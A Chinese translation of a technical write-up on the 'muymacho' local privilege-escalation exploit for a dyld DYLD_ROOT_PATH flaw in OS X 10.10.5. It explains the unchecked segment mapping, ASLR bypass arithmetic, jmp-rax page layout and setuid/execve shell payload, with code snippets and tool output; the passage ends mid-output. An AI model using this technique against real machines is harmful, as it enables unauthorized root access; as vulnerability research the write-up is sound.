muymacho---dyld_root_path漏洞利用解析
from: https://luismiras.github.io/muymacho-exploiting_DYLD_ROOT_PATH/
muymacho是一個漏洞利用工具。存在於Mac OS X 10.10.5中dyld的bug可以用來提權至root。在最新的酋長石(EI Capitan 10.11)中已經被修補。
這是一個有趣的bug,利用過程也很好玩。本篇文章的目的就是介紹該利用的過程。你可以閱讀dyld的原始碼來跟隨我們一起探索其中的奧秘。我希望你能享受muymacho給你帶來的快樂。
...dyld_sim是一個Mach-O檔案,但是利用漏洞的過程將dyld_sim變成了muymacho :)
下面我們進入正題:
0x00 漏洞發現
該bug最初是在dyld-353.2.1(10.10.0-10.10.4)的原始碼審計中發現的,後來透過IDA pro對10.10.5更新的二進位制檔案分析發現bug依然存在。蘋果公司最終在9/17/2015釋出了10.10.5的原始碼。本文也進行了更新來涵蓋最新的dyld原始碼。
對dyld的興趣來自@i0n1c在7/20號釋出的挑戰。
我找到了與環境變數DYLD_PRINT_TO_FILE相關的bug並且寫了一個exploit。之後不久,i0n1c釋出了他的writeup和exploit。
當我在尋找DYLD_PRINT_TO_FILE漏洞的時候,我發現了一些有問題的程式碼。後來我又重新進行審計,發現了一個DYLD_ROOT_PATH的漏洞。我確信我是不第一個也不是唯一一個發現該漏洞的人。
注:我認為該漏洞可能已經被編號為CVE-2015-5876(提交者為grayhash的beist)。更多細節可以在附錄中的CVE號那一節中獲得。
DYLD_ROOT_PATH漏洞是本文的主題,在接下來幾節裡面進行詳細介紹。該漏洞已經在EI Capitan版本中進行修補。
dyld是OS X和iOS的動態聯結器。它和系統載入器(loader)一起協同來為一個程式的的執行做前期的準備工作。基本的步驟為:
- 系統loader將二進位制檔案的page和dyld載入進記憶體
- 控制權交給dyld,所有它可以載入和連線其他的庫和需要的的檔案到程式的地址空間
- 程式載入完成,在記憶體的程式執行入口點開始執行
在一個擁有suid的二進位制檔案執行的時候,dyld會提權執行。二進位制並沒有實際開始執行,因此不能降低許可權。
更多細節可以參考link和link(dyld實際上比本文總結的要複雜的多)。
該漏洞與DYLD_ROOT_PATH環境變數的使用有關。下面是一段dyld主頁的摘要:
DYLD_ROOT_PATH This is a colon separated list of directories. The dynamic linker will prepend each of this directory paths to every image access until a file is found.
儘管上面的描述是真實的,但是還有一個增加的功能並沒有寫進文件。為了理解該功能,我們需要稍微討論一下iOS模擬器。與Android使用模擬器不同(執行ARM指令),iOS使用一個模擬器來執行x86_64編譯的程式。模擬器的一個步驟就是在dyld中使用特定的iOS模擬器版本來替換build的。這個特殊的版本被稱作dyld_sim。
為了使用dyld_sim,需要在執行程式的語句前將環境變數DYLD_ROOT_PATH設定到一個目錄中。具體如下:
#!bash
$ DYLD_ROOT_PATH=/Users/user/tmp crontab
上面的例子希望dyld_sim被設定到如下的目錄中
#!bash
/Users/user/tmp/usr/lib/dyld_sim
漏洞的細節在下節中講解。但是先提前透露點,關鍵就在於dyld_sim檔案的驗證不足。dyld_sim是一個Mach-O格式檔案,但是開發利用將dyld_sim變成了muymacho :)
0x01 漏洞
本文大多數的分析都是針對dyld-353.2.3(10.10.5)的dyld.cpp,除了在附錄裡面介紹10.10.4版本的那一節。這個bug看起來是在與OS X 10.9一起釋出的dyld-239.3中引入的。
漏洞程式碼存在於dyld.cpp:useSimulatorDyld()
函式。如果一個dyld_sim檔案存在於DYLD_ROOT_PATH指向的目錄中,dyld_sim將會被開啟,開啟後返回的檔案描述符將會傳給useSimulatorDyld()
。
下面的程式碼取自dyld.cpp:_main()
#!c
strlcat(simDyldPath, "/usr/lib/dyld_sim", PATH_MAX);
int fd = my_open(simDyldPath, O_RDONLY, 0);
if ( fd != -1 ) {
result = useSimulatorDyld(fd, mainExecutableMH, simDyldPath, argc, argv, envp, apple, startGlue);
if ( !result && (*startGlue == 0) )
halt("problem loading iOS simulator dyld");
下面給出了useSimulatorDyld()
的全部程式碼。它處理和載入dyld_sim。需要指出的是useSimulatorDyld()
函式中任何的失敗都會導致程式的停止。
#!c
__attribute__((noinline))static uintptr_t useSimulatorDyld(int fd, const macho_header* mainExecutableMH, const char* dyldPath,
int argc, const char* argv[], const char* envp[], const char* apple[], uintptr_t* startGlue){
*startGlue = 0;
// verify simulator dyld file is owned by root
struct stat sb;
if ( fstat(fd, &sb) == -1 )
return 0;
// read first page of dyld file
uint8_t firstPage[4096];
if ( pread(fd, firstPage, 4096, 0) != 4096 )
return 0;
// if fat file, pick matching slice
uint64_t fileOffset = 0;
uint64_t fileLength = sb.st_size;
const fat_header* fileStartAsFat = (fat_header*)firstPage;
if ( fileStartAsFat->magic == OSSwapBigToHostInt32(FAT_MAGIC) ) {
if ( !fatFindBest(fileStartAsFat, &fileOffset, &fileLength) )
return 0;
// re-read buffer from start of mach-o slice in fat file
if ( pread(fd, firstPage, 4096, fileOffset) != 4096 )
return 0;
}
else if ( !isCompatibleMachO(firstPage, dyldPath) ) {
return 0;
}
// calculate total size of dyld segments
const macho_header* mh = (const macho_header*)firstPage;
uintptr_t mappingSize = 0;
uintptr_t preferredLoadAddress = 0;
const uint32_t cmd_count = mh->ncmds;
const struct load_command* const cmds = (struct load_command*)(((char*)mh)+sizeof(macho_header));
const struct load_command* cmd = cmds;
for (uint32_t i = 0; i < cmd_count; ++i) {
switch (cmd->cmd) {
case LC_SEGMENT_COMMAND:
{
struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
mappingSize += seg->vmsize;
if ( seg->fileoff == 0 )
preferredLoadAddress = seg->vmaddr;
}
break;
}
cmd = (const struct load_command*)(((char*)cmd)+cmc->cmdsize);
}
// reserve space, then mmap each segment
vm_address_t loadAddress = 0;
uintptr_t entry = 0;
if ( ::vm_allocate(mach_task_self(), &loadAddress, mappingSize, VM_FLAGS_ANYWHERE) != 0 )
return 0;
cmd = cmds;
struct linkedit_data_command* codeSigCmd = NULL;
for (uint32_t i = 0; i < cmd_count; ++i) {
switch (cmd->cmd) {
case LC_SEGMENT_COMMAND:
{
struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
//dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
if ( segAddress == (void*)(-1) )
return 0;
}
break;
case LC_UNIXTHREAD:
{
#if __i386__
const i386_thread_state_t* registers = (i386_thread_state_t*)(((char*)cmd) + 16);
entry = (registers->__eip + loadAddress - preferredLoadAddress);
#elif __x86_64__
const x86_thread_state64_t* registers = (x86_thread_state64_t*)(((char*)cmd) + 16);
entry = (registers->__rip + loadAddress - preferredLoadAddress);
#endif
}
break;
case LC_CODE_SIGNATURE:
codeSigCmd = (struct linkedit_data_command*)cmd;
break;
}
cmd = (const struct load_command*)(((char*)cmd)+cmc->cmdsize);
}
if ( codeSigCmd == NULL )
return 0;
fsignatures_t siginfo;
siginfo.fs_file_start=fileOffset; // start of mach-o slice in fat file
siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff); // start of code-signature in mach-o file
siginfo.fs_blob_size=codeSigCmd->datasize; // size of code-signature
int result = fcntl(fd, F_ADDFILESIGS_FOR_DYLD_SIM, &siginfo);
if ( result == -1 ) {
dyld::log("fcntl(F_ADDFILESIGS_FOR_DYLD_SIM) failed with errno=%d\n", errno);
return 0;
}
close(fd);
// notify debugger that dyld_sim is loaded
dyld_image_info info;
info.imageLoadAddress = (mach_header*)loadAddress;
info.imageFilePath = strdup(dyldPath);
info.imageFileModDate = sb.st_mtime;
addImagesToAllImages(1, &info);
dyld::gProcessInfo->notification(dyld_image_adding, 1, &info);
// jump into new simulator dyld
typedef uintptr_t (*sim_entry_proc_t)(int argc, const char* argv[], const char* envp[], const char* apple[],
const macho_header* mainExecutableMH, const macho_header* dyldMH, uintptr_t dyldSlide,
const dyld::SyscallHelpers* vtable, uintptr_t* startGlue);
sim_entry_proc_t newDyld = (sim_entry_proc_t)entry;
return (*newDyld)(argc, argv, envp, apple, mainExecutableMH, (macho_header*)loadAddress,
loadAddress - preferredLoadAddress,
&sSysCalls, startGlue);}
useSimulatorDyld()
的目的是載入dyld_sim,執行一些檢查,然後將控制權交給dyld_sim。dyld_sim開始執行,原來的dyld就被取代。
我們可以從上面的程式碼知道,useSimulatorDyld()
做了以下幾件事:
- 讀取Mach-O頭
- 迴圈處理LC_SEGMENT_64命令並且計算出全部資料的大小
- vm_allocate()申請記憶體
- mmap()將segment段都讀取進記憶體
- 驗證程式碼簽名
- 跳轉到dyld_sim的入口
muymacho利用的就是從10.9就存在的DYLD_ROOT_PATH漏洞。從10.10.4起,又增加一個可以進行攻擊的向量,但是在10.10.5中被修補。 聰明的讀者可以發現漏洞存在於dyld_sim的Mach-O頭的處理過程中。一個畸形的Mach-O檔案可以導致記憶體段被替換,從而導致任意程式碼執行,這一切都發生在簽名驗證之前。
為了說明mach-O檔案載入進記憶體是如何進行的,我們需要複習一下Mach-O的知識。蘋果提供了一份完整的Mach-O說明文件。我們將相關的兩個結構定義放在了下面,其中最為重要的是segment_command_64。
#!c
/* * The 64-bit mach header appears at the very beginning of object files for * 64-bit architectures. */
struct mach_header_64 {
uint32_t magic; /* mach magic number identifier */
cpu_type_t cputype; /* cpu specifier */
cpu_subtype_t cpusubtype; /* machine specifier */
uint32_t filetype; /* type of file */
uint32_t ncmds; /* number of load commands */
uint32_t sizeofcmds; /* the size of all the load commands */
uint32_t flags; /* flags */
uint32_t reserved; /* reserved */
};
/* * The 64-bit segment load command indicates that a part of this file is to be * mapped into a 64-bit task's address space. If the 64-bit segment has * sections then section_64 structures directly follow the 64-bit segment * command and their size is reflected in cmdsize. */
struct segment_command_64 { /* for 64-bit architectures */
uint32_t cmd; /* LC_SEGMENT_64 */
uint32_t cmdsize; /* includes sizeof section_64 structs */
char segname[16]; /* segment name */
uint64_t vmaddr; /* memory address of this segment */
uint64_t vmsize; /* memory size of this segment */
uint64_t fileoff; /* file offset of this segment */
uint64_t filesize; /* amount to map from the file */
vm_prot_t maxprot; /* maximum VM protection */
vm_prot_t initprot; /* initial VM protection */
uint32_t nsects; /* number of sections in segment */
uint32_t flags; /* flags */
};
首先,useSimulatorDyld()
需要提取Mach-O頭。可以在原始碼中看到,在處理胖格式(Universal binary)的初始化程式碼來確定確定實際Mach-O頭的位置。dyld然後讀取一頁(0x1000bytes)的資料,其中包含該Mach-O頭。
載入了Mach-O頭之後,useSimulatorDyld()
處理載入命令。透過兩個迴圈來處理如LC_SEGMENT_64, LC_UNIXTHREAD和 LC_CODE_SIGNATURE之類的載入命令。 第一個迴圈處理顯示如下。處理LC_SEGMENT_64載入命令。計算出vmsize的總大小,確定preferredLoadAddress。如果沒有segment段的fileoff項為0,那麼preferredLoadAddress預設設定為0。
#!c
for (uint32_t i = 0; i < cmd_count; ++i) {
switch (cmd->cmd) {
case LC_SEGMENT_COMMAND: // <-- Note: defined in a macro as LC_SEGMENT_64
{
struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
mappingSize += seg->vmsize;
if ( seg->fileoff == 0 )
preferredLoadAddress = seg->vmaddr;
}
break;
}
cmd = (const struct load_command*)(((char*)cmd)+cmc->cmdsize);
}
在mappingSize計算出來後呼叫vm_allocate()
。分配記憶體的地址被儲存在loadAddress變數中。如果分配失敗,useSimulatorDyld()
函式退出。
#!c
if ( ::vm_allocate(mach_task_self(), &loadAddress, mappingSize, VM_FLAGS_ANYWHERE) != 0 )
return 0;
分配記憶體之後,就到了第二個迴圈,相關程式碼如下。這個迴圈同樣解析LC_UNIXTHREAD,LC_CODESIGNATURE載入命令,但是與漏洞無關。 導致漏洞產生的是這個載入命令:LC_SEGMENT_64。
#!c
case LC_SEGMENT_COMMAND: // <- this is defined in a macro as LC_SEGMENT_64
{
struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
//dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
if ( segAddress == (void*)(-1) )
return 0;
}
看程式碼可以發現,這個case段的程式碼功能是載入segment段到最新分配的記憶體中去。但是,這個LC_SEGMENT_64載入命令幾乎沒有進行任何驗證。具體說就是這段程式碼計算出requestedLoadAddress的引數,是來自Macho-O完全可控的區域的。
#!c
uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
prederredLoadAddress預設是0,剩下只有loadAddress和seg->vmaddr
起作用了。下面是一個簡化的等式。這個等式將會以不同的形式貫穿於本文。
#!c
requestedLoadAddress = seg->vmaddr + loadAddress
seg->vmaddr
是直接從segment段命令獲取,之後加上loadAddress(由vm_allocate設定)。一部分已經受到控制的requestedLoadAddress變數最後作為引數傳給mmap。
mmap使用了一些有趣的flag。特別是MAP_FIXED。下面是一段mmap手冊的摘錄
MAP_FIXED Do not permit the system to select a different address than the one specified. If the specified address cannot be used, mmap() will fail. If MAP_FIXED is specified, addr must be a multiple of the pagesize. If a MAP_FIXED request is successful, the mapping established by mmap() replaces any previous mappings for the process’ pages in the range from addr to addr + len. Use of this option is discouraged.
(不讓系統在給出的地址外選擇其他的地址。如果給出的地址不能使用,mmap()函式返回失敗。如果宣告瞭MAP_FIXED,地址必須是頁面大小的倍數。如果一個MAP_FIXED請求成功,mmap()進行載入,會替換該程式之前在addr到addr+len之間的任何載入對映。使用這個選項是不被推薦的。)
關鍵詞是 “替換任何之前的記憶體對映”。無論是堆,還是棧,甚至是執行程式碼都會被替換。一個攻擊者可以建立一個Mach-O檔案。對其LC_SEGMENT_64 載入命令進行構造。這不僅僅是控制requestedLoadAddress,而且可以完全控制頁面許可權,filesize和fileoff。
在偵錯程式中手工測試證明了mmap()呼叫後可以成功替換可執行頁。
0x02 利用分析
如下是一個欺騙要素表單,提供一份對不同的定義和詞語的快速參考。
CHEAT SHEET
loadAddress address returned by vm_allocate()
vmaddr segment’s vmaddr value (seg->vmaddr)
mmap_equation requestedLoadAddress = vmaddr + loadAddress
擁有了替換記憶體可執行頁的能力,利用漏洞就變得相對簡單了。ROP也沒必要了,因為我們可以控制新載入的可執行記憶體頁的內容。我們的需要覆蓋的目標頁將是dyld裡面擁有mmap系統呼叫的那一頁。如果現在的OS X作業系統沒有ASLR,這些就不重要了。我們首先進行沒有ASLR的利用分析。然後再考慮如何繞過它。
因為dyld是動態聯結器,所有它需要自我包含。dyld擁有它需要使用的所有系統呼叫。useSimulatorDyld()
函式呼叫::mmap()
函式(包裝了__mmap()
)。
00007FFF5FC2693E mov r12d, ecx
00007FFF5FC26941 mov r8d, r15d
00007FFF5FC26944 call ___mmap
00007FFF5FC26949 mov rbx, rax
00007FFF5FC2694C lea rax, ___syscall_logger
__mmap()
函式包含了mmap系統呼叫。
00007FFF5FC26DBC ___mmap proc near ; CODE XREF: _mmap+31p
00007FFF5FC26DBC mov eax, 20000C5h
00007FFF5FC26DC1 mov r10, rcx
00007FFF5FC26DC4 syscall
00007FFF5FC26DC6 jnb short locret_7FFF5FC26DD0
當mmap系統呼叫返回的時候,指令指標將會指向地址0x7fff5fc26dc6。傳給mmap一個0x7fff5fc26000的requestedLoadAddress引數。mmap將會替換我們的包含mmap系統呼叫的目標記憶體頁。當新的segment段被載入,程式將開始執行我們的程式碼。
#!c
uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
簡化的mmap等式為:(preferredLoadAddress預設值為0)
requestedLoadAddress = seg->vmaddr + loadAddress
如果我們回憶一下,會發現loadAddress是由vm_allocate函式設定的。如下所示,vm_allocate返回的地址就在基礎程式頁之後。舉例,crontab生成一個如下的記憶體分佈:
==== regions for process 44045 (non-writable and writable regions are interleaved)
REGION TYPE START - END [ VSIZE] PRT/MAX SHRMOD REGION DETAIL
mapped file 0000000100000000-0000000100005000 [ 20K] r-x/rwx SM=COW /Users/user/tmp/crontab
mapped file 0000000100005000-0000000100006000 [ 4K] rw-/rwx SM=COW /Users/user/tmp/crontab
mapped file 0000000100006000-0000000100009000 [ 12K] r--/rwx SM=COW /Users/user/tmp/crontab
VM_ALLOCATE (reserved) 0000000100009000-0000000100029000 [ 128K] rw-/rwx SM=NUL reserved VM address space (unallocated)
STACK GUARD 00007fff5bc00000-00007fff5f400000 [ 56.0M] ---/rwx SM=NUL stack guard for thread 0
Stack 00007fff5f400000-00007fff5fbff000 [ 8188K] rw-/rwx SM=PRV thread 0
Stack 00007fff5fbff000-00007fff5fc00000 [ 4K] rw-/rwx SM=COW
__TEXT 00007fff5fc00000-00007fff5fc37000 [ 220K] r-x/rwx SM=COW /usr/lib/dyld
__DATA 00007fff5fc37000-00007fff5fc3a000 [ 12K] rw-/rwx SM=COW /usr/lib/dyld
__DATA 00007fff5fc3a000-00007fff5fc70000 [ 216K] rw-/rwx SM=PRV /usr/lib/dyld
__LINKEDIT 00007fff5fc70000-00007fff5fc84000 [ 80K] r--/rwx SM=COW /usr/lib/dyld
shared memory 00007fffffe00000-00007fffffe01000 [ 4K] r--/r-- SM=SHM
shared memory 00007fffffeed000-00007fffffeee000 [ 4K] r-x/r-x SM=SHM
如上記憶體分佈,loadAddress是0x100009000(VM_ALLOCATE)。如果將seg->vmaddr
設定為0x7ffe5fc1d000,那麼將會替換dyld可執行頁在地址0x7fff5fc26000。
seg->vmaddr = requestedLoadAddress - loadAddress
seg->vmaddr = 0x7fff5fc26000 - 0x100009000
seg->vmaddr = 0x7ffe5fc1d000
我們可以構建一個Mach-O檔案,使得它的seg->vmaddr值為0x7ffe5fc1d000。這樣目的就可以實現。
以上的記憶體分佈和計算都是在沒有ASLR的情況下進行的,目的是為了討論更為簡單。下一節將討論ASLR的繞過。
0X03 ASLR繞過
下面是一個升級版的欺騙要素表單。
CHEAT SHEET
loadAddress address returned by vm_allocate()
vmaddr segment’s vmaddr value (seg->vmaddr)
dyld_target dyld page we are targetting (contains the mmap syscall)
mmap_equation requestedLoadAddress = vmaddr + loadAddress
ASLR slide random offset applied to memory regions 0x0000000 to 0xffff000 bytes (0 to 0xffff pages)
之前的一節忽略了ASLR,但這是必須面對的。ASLR新增偏移到各種記憶體區域,包括可執行頁,棧和dyld的可執行頁。為了抵禦攻擊,導致記憶體地址不固定了。
下面是一個開啟了ASLR的記憶體佈局例項。注意dyld沒有載入到它的首選偏移上,與之前的記憶體分佈不一樣,實際上它偏移為0x9f40000 bytes。
==== regions for process 44357 (non-writable and writable regions are interleaved)
REGION TYPE START - END [ VSIZE] PRT/MAX SHRMOD REGION DETAIL
mapped file 0000000102da7000-0000000102dac000 [ 20K] r-x/rwx SM=COW /usr/bin/crontab
mapped file 0000000102dac000-0000000102dad000 [ 4K] rw-/rwx SM=COW /usr/bin/crontab
mapped file 0000000102dad000-0000000102db0000 [ 12K] r--/rwx SM=COW /usr/bin/crontab
VM_ALLOCATE (reserved) 0000000102db0000-0000000102dd0000 [ 128K] rw-/rwx SM=NUL reserved VM address space (unallocated)
STACK GUARD 00007fff58e59000-00007fff5c659000 [ 56.0M] ---/rwx SM=NUL stack guard for thread 0
Stack 00007fff5c659000-00007fff5ce58000 [ 8188K] rw-/rwx SM=ZER thread 0
Stack 00007fff5ce58000-00007fff5ce59000 [ 4K] rw-/rwx SM=COW
__TEXT 00007fff69b09000-00007fff69b40000 [ 220K] r-x/rwx SM=COW /usr/lib/dyld
__DATA 00007fff69b40000-00007fff69b43000 [ 12K] rw-/rwx SM=COW /usr/lib/dyld
__DATA 00007fff69b43000-00007fff69b79000 [ 216K] rw-/rwx SM=PRV /usr/lib/dyld
__LINKEDIT 00007fff69b79000-00007fff69b8d000 [ 80K] r--/rwx SM=COW /usr/lib/dyld
shared memory 00007fffffe00000-00007fffffe01000 [ 4K] r--/r-- SM=SHM
shared memory 00007fffffeed000-00007fffffeee000 [ 4K] r-x/r-x SM=SHM
其他記憶體區域包含偏移。crontab基礎二進位制檔案擁有一個0xda7000byte偏移。同樣的偏移應用在loadAddress(VM_ALLOCATE區)。
0x04 記憶體區塊和範圍
利用分析一節解決了vmaddr的取值問題,使得當加上loadAddress之後就可以替換dyld的目標可執行頁。我們的目的沒有變, 希望能用我們的內容覆蓋dyld的目標頁。然而我們記憶體地址不再是固定的地址。我們執行環境的地址是在有限的地址範圍內變化的。
在制定一個攻擊計劃之前,我們需要確定記憶體的變化範圍是多少。使用ASLR後,可能的地址範圍變為:
- loadAddress:
0x100009000 to 0x110008000 (max ASLR slide = 0x0ffff000)
- dyld_target:
0x7fff5fc26000 - 0x7fff6fc25000 (max ASLR slide = 0x0ffff000)
下一步,我們計算vmaddr的可能取值範圍。我們希望mmap能覆蓋dyld的目標頁,所以用dyld_target取值範圍替換mmap等式中的requestedLoadAddress:
vmaddr = dyld_target - loadAddress
為了確定vmaddr的範圍,我們需要最小值和最大值。接下來的圖顯示瞭如何來計算:
圖左側顯示了最小的vmaddr,它使用了dyld_target的最小值和loadAddress的最大值:
vmaddr_min = (dyld_target + ASLR_slide_min) - (loadAddress + ASLR_slide_max)vmaddr_min = (0x7fff5fc26000 + 0x00000000) - (0x100009000 + 0x0ffff000)vmaddr_min = 0x7fff5fc26000 - 0x110008000vmaddr_min = 0x7ffe4fc1e000
圖右側顯示了最大的vmaddr,它使用了dyld_target的最大值和loadAddress的最小值:
vmaddr_max = (dyld_target + ASLR_slide_max) - (loadAddress + ASLR_slide_min)vmaddr_max = (0x7fff5fc26000 + 0x0ffff000) - (0x100009000 + 0x00000000)vmaddr_max = 0x7fff6fc25000 - 0x100009000vmaddr_max = 0x7ffe6fc1c000
vmaddr的範圍為0x7ffe4fc1e000至0x7ffe6fc1c000。整個大小為0x1fffe000 bytes(為ASLR最大偏移的2倍)。
為了增強漏洞利用的穩定性,全部的記憶體範圍都要需要被載入。從單一的segment段中載入整個範圍是不可能的(沒人想要一個500+MB的exploit!),所以我們使用多個segment段。
0x05 潛在問題
在這裡,我們需要解釋一些更多的問題:
- 需要多少的segment段?
- mmap會失敗返回嗎?
- 會發生不可預料的記憶體問題嗎?
需要多少的segments段?
Mach-O頭只能讀取僅僅一頁(0x1000 bytes ) ,mach_header_64結構有0x20bytes大,segment_command_64結構有72bytes,所以最多隻能有56個segment((4096-32)/72=56)。為了簡化計算,muymacho使用了32個segment段。所有的segment的fileoff成員變數都指向同一塊資料(0x1000000bytes)。
這32個segment將會覆蓋全部的vmaddr範圍(0x1fffe000),還多一頁剩餘。
所以需要32個segment。
mmap會失敗返回嗎?
useSimulatorDyld()
中呼叫mmap的部分程式碼如下所示。注意如果mmap失敗,useSimulatorDyld()
函式就退出。
#!c
void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
//dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
if ( segAddress == (void*)(-1) )
return 0;
mmap申請的記憶體如果超出了使用者空間(大於0x7fffffffffff)就會失敗。我們需要保證下面的限制:
requestedLoadAddress + seg->filesize < 0x7fffffffffff
由於ASLR,我們不知道真實的loadAddress和dyld_target地址。我們計算出了vmaddr的最小值(0x7ffe4fc1e000)和最大值(0x7ffe6fc1c000),以此來對抗ASLR。
我們來計算最大的requestedLoadAddress,使用mmap等式,代入最大的vmaddr值和最大的loadAddress。
requestedLoadAddress = vmaddr + loadAddressrequestedLoadAddress = 0x7ffe6fc1c000 + (loadAddress + 0x0ffff000)requestedLoadAddress = 0x7ffe6fc1c000 + (0x100009000 + 0x0ffff000)requestedLoadAddress = 0x7ffe6fc1c000 + 0x110008000 requestedLoadAddress = 0x7fff7fc24000
requestedLoadAddress的值為0x7fff7fc24000能很好的滿足使用者空間限定。seg->filesize
需要大於0x803dbfff才能導致mmap呼叫失敗。這顯然不會發生。
會發生不可預料的記憶體問題嗎?
載入如此大的segment(0x1000000)可能會引起某些疑慮,問題可以這樣理解:
- 當我們替換dyld_target的時候會破壞棧嗎?
- 如果我們覆蓋了一部分dyld的頁會發生什麼?
在下一節實踐中將會說明muymacho使用了由高至低策略。這種方法保證高地址先被替換。棧的地址低於dyld_target頁面地址,在一個安全的距離上,所以棧是安全的:)
是否有這種可能,只有一部分的dyld頁從一個segment載入,其餘的頁會在之後由下一個段載入。這有關係嗎?不。
mmap系統呼叫,包裝之後的函式,和useSimulatorDyld()
裡面的主要解析迴圈都被包含在dyld_target頁中。useSimulatorDyld()
的其他部分在下一個低地址頁裡面。
所以一切都沒問題。
0x06 實踐
muymacho使用了32個segments來覆蓋一個0x20000000bytes大小的地址。這保證了所有的ASLR記憶體範圍都被覆蓋了。Segments將會不停載入直至dyld_target被覆蓋。在那裡我們的程式碼將會取得控制權。
採用由高至低的策略是為了防止不必要的記憶體破壞,尤其是棧。第一個segment使用最大的vmaddr值。接下來的segments使用小一點的值。保證整個範圍被覆蓋。接下來的圖提供了一個例子。記住這不是成比例的。dyld_target只是一個頁而segment是4096個頁。
最終dyld_target將會被覆蓋,程式碼將會得到執行。一旦dyld_target頁被覆蓋,控制權就會隨著mmap呼叫的返回而立即獲得。
0x07 最大vmaddr
muymacho中使用的最大的vmaddr不同於我們之前計算的。下面的函式計算了這個最大vmaddr。
#!c
def maximum_vmaddr(segment_size):
''' returns the maximum vmaddr the function assumes the base binary is 9 pages long as is the case for crontab giving a loadAddress_min of 0x100009000 if attacking other suid programs, this value should be adjusted. in reality a few pages here or there won't have a noticeable effect. '''
dyld_target = 0x7fff5fc26000
loadAddress_min = 0x100009000
aslr_slide_max = 0x0ffff000
dyld_target_max = dyld_target + aslr_slide_max
maximum_offset = dyld_target_max - loadAddress_min
# Only one page from the payload needs to hit the maximum offset.
vmaddr = maximum_offset - segment_size + 0x1000
return vmaddr
唯一的不同之處在於下面的程式碼:
#!c
# Only one page from the payload needs to hit the maximum offset.
vmaddr = maximum_offset - segment_size + 0x1000
原始的vmaddr最大值計算假設我們是載入到單個頁中。我們實際上是每次載入4096個頁。
調整計算方法來適應只載入一頁在最大vmaddr。不然我們就會浪費那些永遠不會覆蓋dyld_target的頁。
下面的圖可能能說明這個概念:
左側的圖是顯示的原始的最大vmaddr(0x7ffe6fc1c000)覆蓋可能的最高的dyld_target。其他的所有頁都是多餘的,因為我們已經在可能的最大vmaddr值和dyld_target最高地址。這個segment中只有一頁可能覆蓋到dyld_target。
右側的圖是調整後的vmaddr(0x7ffe6ec1d000)。這個segment段將覆蓋到可能的最高dyld_target。所有的4096segment頁可以覆蓋所有的可能dyld_target頁。
0x08 載荷Payload
在繞過ASLR那一節中,我們實現了一定了覆蓋dyld_target。payload有0x1000000大,即4096個頁。其中的一個頁將覆蓋到dyld_target頁。
dyld的mmap系統呼叫顯示如下:
00007FFF5FC26DBC ___mmap proc near ; CODE XREF: _mmap+31p
00007FFF5FC26DBC mov eax, 20000C5h
00007FFF5FC26DC1 mov r10, rcx
00007FFF5FC26DC4 syscall
00007FFF5FC26DC6 jnb short locret_7FFF5FC26DD0
當mmap系統呼叫返回時,將會從頁內的0xdc6處開始執行。因為rax為返回值,它會儲存最新載入記憶體的基地址,換句話說,rax指向我們payload的開始處。
所有4096個payload頁的0xdc6處,都是一個jmp rax指令。payload開始處的第一頁在0x00偏移處包含一段shellcode。
下圖顯示了基地址頁(payload的地址最低的第一頁)和標準頁(4096也都有的內容)。
不必考慮哪一頁會覆蓋掉dyld_target,jmp rax指令都會將執行跳轉到shellcode。
shellcode將會執行一條setuid(0)
系統呼叫,然後執行execve(/bin/sh'')
系統呼叫。啟動一個sh。
0x09 完成利用
- 我們的目標是覆蓋dyld_target,該頁是dyld中包含mmap系統呼叫的那一頁。
- 我們使用32個segment覆蓋0x20000000 bytes來繞過ASLR。
- 我們使用由高至低的策略
- 第一個segment的vmaddr是0x7ffe6ec1d000
- 後面的segment擁有更小(0x1000000)vmaddr
- 所有segment指向payload同樣的4096個頁
- 所有頁在偏移0xdc6處都是jmp rax指令
- 基礎頁裡面包含我們的shellcode
muymacho是由python編寫,在github釋出。在MachoFile和LC_SEGMENT_64類中進行了最小限度的Mach-O實現。建立了一個dyld_sim檔案,包含32個segment。所有都指向payload。
muymacho使用時,輸入一個基目錄路徑,會自動生成需要的目錄結構和dyld_sim檔案。實際的利用需要設定DYLD_ROOT_PATH到一個目錄,並執行一個suid的二進位制檔案。下面是一個執行的例子。
#!bash
[email protected]:~/tmp$ python muymacho.py ~/tmp
muymacho.py - exploit for DYLD_ROOT_PATH vuln in OS X 10.10.5
Luis Miras @_luism
[+] using base_directory: /Users/user/tmp
[+] creating dir: /Users/user/tmp/usr/lib
[+] creating macho file: /Users/user/tmp/usr/lib/dyld_sim LC_SEGMENT_64: segment 0x00 vm_addr: 0x7ffe6ec1d000 LC_SEGMENT_64: segment 0x01 vm_addr: 0x7ffe6dc1d000 LC_SEGMENT_64: segment 0x02 vm_addr: 0x7ffe6cc1d000 LC_SEGMENT_64: segment 0x03 vm_addr: 0x7ffe6bc1d000 LC_SEGMENT_64: segment 0x04 vm_addr: 0x7ffe6ac1d000 LC_SEGMENT_64: segment 0x05 vm_addr: 0x7ffe69c1d000 LC_SEGMENT_64: segment 0x06 vm_addr: 0x7ffe68c1d000 LC_SEGMENT_64: segment 0x07 vm_addr: 0x7ffe67c1d000 LC_SEGMENT_64: segment 0x08 vm_addr: 0x7ffe66c1d000 LC_SEGMENT_64: segment 0x09 vm_addr: 0x7ffe65c1d000 LC_SEGMENT_64: segment 0x0a vm_addr: 0x7ffe64c1d000 LC_SEGMENT_64: segment 0x0b vm_addr: 0x7ffe63c1d000 LC_SEGMENT_64: segment 0x0c vm_addr: 0x7ffe62c1d000 LC_SEGMENT_64: 